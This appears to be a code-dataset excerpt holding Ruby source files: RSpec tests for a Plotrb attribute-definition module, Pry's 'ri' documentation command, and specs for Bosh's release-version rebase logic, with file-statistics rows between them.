it 'keeps track of all attributes defined for class' do
foo.attributes.should match_array([:foo_foo])
end
it 'adds setter method for the attribute' do
bar = foo.new
bar.foo_foo = 1
bar.instance_variable_get(:@foo_foo).should == 1
end
end
end
describe '#attributes' do
let(:foo) { FooClass.new }
before(:each) do
foo.singleton_class.class_eval { add_attributes :foo_foo }
end
it 'tracks both class-defined and instance-defined attributes' do
foo.add_attributes(:bar_bar)
foo.attributes.should match_array([:foo_foo, :bar_bar])
end
end
describe '#set_attribuets' do
let(:foo) { FooClass.new }
it 'creates attributes and sets values' do
foo.set_attributes(a: 1, b: 2)
foo.attributes.should match_array([:a, :b])
foo.instance_variable_get(:@a).should == 1
foo.instance_variable_get(:@b).should == 2
end
end
describe '#add_attributes' do
let(:foo) { FooClass.new }
let(:bar) { FooClass.new }
before(:each) do
FooClass.add_attributes(:foo_class)
end
it 'adds attributes to specific instance only' do
foo.add_attributes(:foo_foo)
bar.add_attributes(:bar_bar)
foo.attributes.should match_array([:foo_class, :foo_foo])
bar.attributes.should match_array([:foo_class, :bar_bar])
end
end
describe '#defined_attributes' do
let(:foo) { FooClass.new }
it 'only returns non-nil attributes' do
foo.set_attributes(a: 1, b: 2, c: nil)
foo.defined_attributes.should match_array([:a, :b])
end
end
describe '#collect_attributes' do
let(:foo) { FooClass.new }
let(:bar) { BarClass.new }
let(:baz) { BazClass.new }
before(:each) do
foo.add_attributes(:attr)
foo.stub(:attribute_post_processing)
end
it 'recursively collects attributes' do
BarClass.any_instance.stub(:respond_to?).with(:collect_attributes).
and_return(true)
BarClass.any_instance.stub(:collect_attributes).and_return('bar_values')
foo.attr = bar
foo.collect_attributes.should == { 'attr' => 'bar_values' }
end
it 'collects attributes of each of the array element' do
BarClass.any_instance.stub(:respond_to?).with(:collect_attributes).
and_return(true)
BazClass.any_instance.stub(:respond_to?).with(:collect_attributes).
and_return(true)
BarClass.any_instance.stub(:collect_attributes).and_return('bar_values')
BazClass.any_instance.stub(:collect_attributes).and_return('baz_values')
foo.attr = [bar, baz]
foo.collect_attributes.should == { 'attr' => %w(bar_values baz_values)}
end
end
describe '#define_boolean_attribute' do
let(:foo) { FooClass.new }
before(:each) do
foo.define_boolean_attribute(:bar)
end
it 'creates setter' do
foo.respond_to?(:bar).should be_true
end
it 'sets attribute to true when called' do
foo.bar
foo.instance_variable_get('@bar').should == true
end
it 'creates getter' do
foo.respond_to?(:bar?).should be_true
end
end
describe '#define_single_val_attribute' do
let(:foo) { FooClass.new }
context 'when no proc is provided' do
before(:each) do
foo.define_single_val_attribute(:bar)
end
it 'creates setter and getter' do
foo.respond_to?(:bar).should be_true
end
it 'acts as getter when no argument is provided' do
foo.should_receive(:instance_variable_get).with('@bar')
foo.bar
end
it 'sets value of the attribute if provided' do
foo.should_receive(:instance_variable_set).with('@bar', 1)
foo.bar(1)
end
it 'raises error if more than one value is given' do
expect { foo.bar(1,2,3) }.to raise_error(ArgumentError)
end
end
context 'when a proc is provided' do
it 'process the value before assigning to the attribute' do
p = lambda { |x| x + 1}
foo.define_single_val_attribute(:bar, p)
foo.bar(1)
foo.bar.should == 2
end
it 'raises error if condition check fails in proc' do
p = lambda { |x|
if x > 0
x + 1
else
raise ArgumentError
end
}
foo.define_single_val_attribute(:bar, p)
foo.bar(1)
foo.bar.should == 2
expect { foo.bar(0) }.to raise_error(ArgumentError)
end
end
end
describe '#define_multi_val_attribute' do
let(:foo) { FooClass.new }
context 'when no proc is provided' do
before(:each) do
foo.define_multi_val_attribute(:bar)
end
it 'creates setter and getter' do
foo.respond_to?(:bar).should be_true
end
it 'acts as getter when no argument is provided' do
foo.should_receive(:instance_variable_get).with('@bar')
foo.bar
end
it 'sets single value of the attribute if provided' do
foo.should_receive(:instance_variable_set).with('@bar', [1])
foo.bar(1)
end
it 'sets array of values' do
foo.should_receive(:instance_variable_set).with('@bar', [1, 2, 3])
foo.bar([1, 2, 3])
end
it 'sets multiple values' do
foo.should_receive(:instance_variable_set).with('@bar', [1, 2, 3])
foo.bar(1,2,3)
end
end
context 'when a proc is provided' do
it 'process the values before assigning to the attribute' do
p = lambda { |*x| x.each { |v| v + 1 } }
foo.define_multi_val_attribute(:bar, p)
foo.bar(1,2,3)
foo.bar.should == [1, 2, 3]
end
it 'is able to check argument size' do
p = lambda { |x, y, z| [x + 1, y + 1, z + 1] }
foo.define_multi_val_attribute(:bar, p)
foo.bar(1,2,3)
foo.bar.should == [2, 3, 4]
expect { foo.bar(1,2,3,4) }.to raise_error(ArgumentError)
end
end
end
describe '#classify' do
let(:foo) { Class.new { extend ::Plotrb::Base } }
it 'classifies string' do
foo.classify('visualization').should == 'Visualization'
end
it 'changes snake_case to CamelCase' do
foo.classify('foo_bar').should == 'FooBar'
end
it 'changes snake_case to camelCaseInJson' do
foo.classify('foo_bar_baz', :json).should == 'fooBarBaz'
end
end
describe 'Hash' do
describe '#reverse_merge' do
it 'should respond to reverse_merge' do
Hash.new.respond_to?(:reverse_merge).should be_true
end
it 'reverse merges hash' do
hash = {a: 1, b: 2}
default = {a:2, c:3}
hash.reverse_merge(default).should == {a: 1, b: 2, c: 3}
end
end
describe '#collect_attributes' do
it 'should respond to collect_attributes' do
Hash.new.respond_to?(:collect_attributes).should be_true
end
it 'recursively collects attributes' do
hash = {foo: FooClass.new, bar: BarClass.new}
FooClass.any_instance.stub(:collect_attributes).and_return('foo_value')
BarClass.any_instance.stub(:collect_attributes).and_return('bar_value')
hash.collect_attributes.should == {'foo' => 'foo_value',
'bar' => 'bar_value'}
end
end
end
end
| 24.36646 | 79 | 0.618404 |
b9cb59075ad812fbb878108f82474a23241e0ed7 | 1,846 | # frozen_string_literal: true
require 'stringio'
class Pry
class Command
class Ri < Pry::ClassCommand
match 'ri'
group 'Introspection'
description 'View ri documentation.'
banner <<-'BANNER'
Usage: ri [spec]
View ri documentation. Relies on the "rdoc" gem being installed.
See also "show-doc" command.
ri Array#each
BANNER
def process(spec)
unless spec
return output.puts(
"Please provide a class, module, or method name (e.g: ri Array#push)"
)
end
# Lazily load RI
require 'rdoc/ri/driver'
unless defined? RDoc::RI::PryDriver
# Subclass RI so that it formats its output nicely, and uses `lesspipe`.
subclass = Class.new(RDoc::RI::Driver) # the hard way.
subclass.class_eval do
def initialize(pager, opts)
@pager = pager
super opts
end
def page
paging_text = StringIO.new
yield paging_text
@pager.page(paging_text.string)
end
def formatter(_io)
if @formatter_klass
@formatter_klass.new
else
RDoc::Markup::ToAnsi.new
end
end
end
RDoc::RI.const_set :PryDriver, subclass # hook it up!
end
# Spin-up an RI insance.
ri = RDoc::RI::PryDriver.new(
pry_instance.pager, use_stdout: true, interactive: false
)
begin
ri.display_names [spec] # Get the documentation (finally!)
rescue RDoc::RI::Driver::NotFoundError => e
output.puts "error: '#{e.name}' not found"
end
end
end
Pry::Commands.add_command(Pry::Command::Ri)
end
end
| 24.289474 | 82 | 0.541712 |
217d9f2202e43dfa727555ec3a48a551ed9f238c | 2,858 | require 'common/version/release_version_list'
module Bosh::Common::Version
describe ReleaseVersionList do
let(:version_list) { described_class.parse(versions) }
def parse(version)
Bosh::Common::Version::ReleaseVersion.parse(version)
end
describe '#parse' do
let(:versions) { ['1.0.1', '10.9-dev'] }
it 'creates a new object' do
expect(described_class.parse(versions)).to be_instance_of(described_class)
end
it 'delegates to VersionList' do
expect(VersionList).to receive(:parse).with(versions, ReleaseVersion).and_call_original
described_class.parse(versions)
end
end
describe '#rebase' do
let(:versions) { [] }
it 'fails to rebase final versions' do
expect{version_list.rebase(parse('9.1'))}.to raise_error(ArgumentError)
expect{version_list.rebase(parse('9.1-RC.1'))}.to raise_error(ArgumentError)
end
context 'when there are no versions in the list' do
it 'uses the provided release and pre-release with the default dev post-release segment' do
expect(version_list.rebase(parse('10.9-dev'))).to eq parse('10.1-dev')
expect(version_list.rebase(parse('8.5-dev'))).to eq parse('8.1-dev')
expect(version_list.rebase(parse('1.0.0-RC.1+dev.10'))).to eq parse('1.0.0-RC.1+dev.1')
end
end
context 'when the server has a version that matches the release and pre-release segments with no post-release segment' do
let(:versions) { ['9.1'] }
it 'uses the provided release and pre-release with a new dev post-release segment' do
expect(version_list.rebase(parse('9+dev.9'))).to eq parse('9+dev.1')
end
end
context 'when the server has a version that matches the release and pre-release segments and any post-release segment' do
let(:versions) { ['9.1', '9.1.1-dev'] }
it 'increments the latest post-release segment with the same release and pre-release segments' do
expect(version_list.rebase(parse('9.1.8-dev'))).to eq parse('9.1.2-dev')
end
end
context 'when the server does not have a version that matches the release and post-release segments' do
let(:versions) { ['9.1', '9.1.1-dev'] }
it 'uses the provided release and pre-release with a new dev post-release segment' do
expect(version_list.rebase(parse('8.9-dev'))).to eq parse('8.1-dev')
expect(version_list.rebase(parse('9.2.9-dev'))).to eq parse('9.2.1-dev')
end
end
context 'when there are multiple final versions on the server' do
let(:versions) { ['9.1', '9.2'] }
it 'supports rebasing onto older final versions' do
expect(version_list.rebase(parse('9.1.5-dev'))).to eq parse('9.1.1-dev')
end
end
end
end
end
| 37.116883 | 127 | 0.645556 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.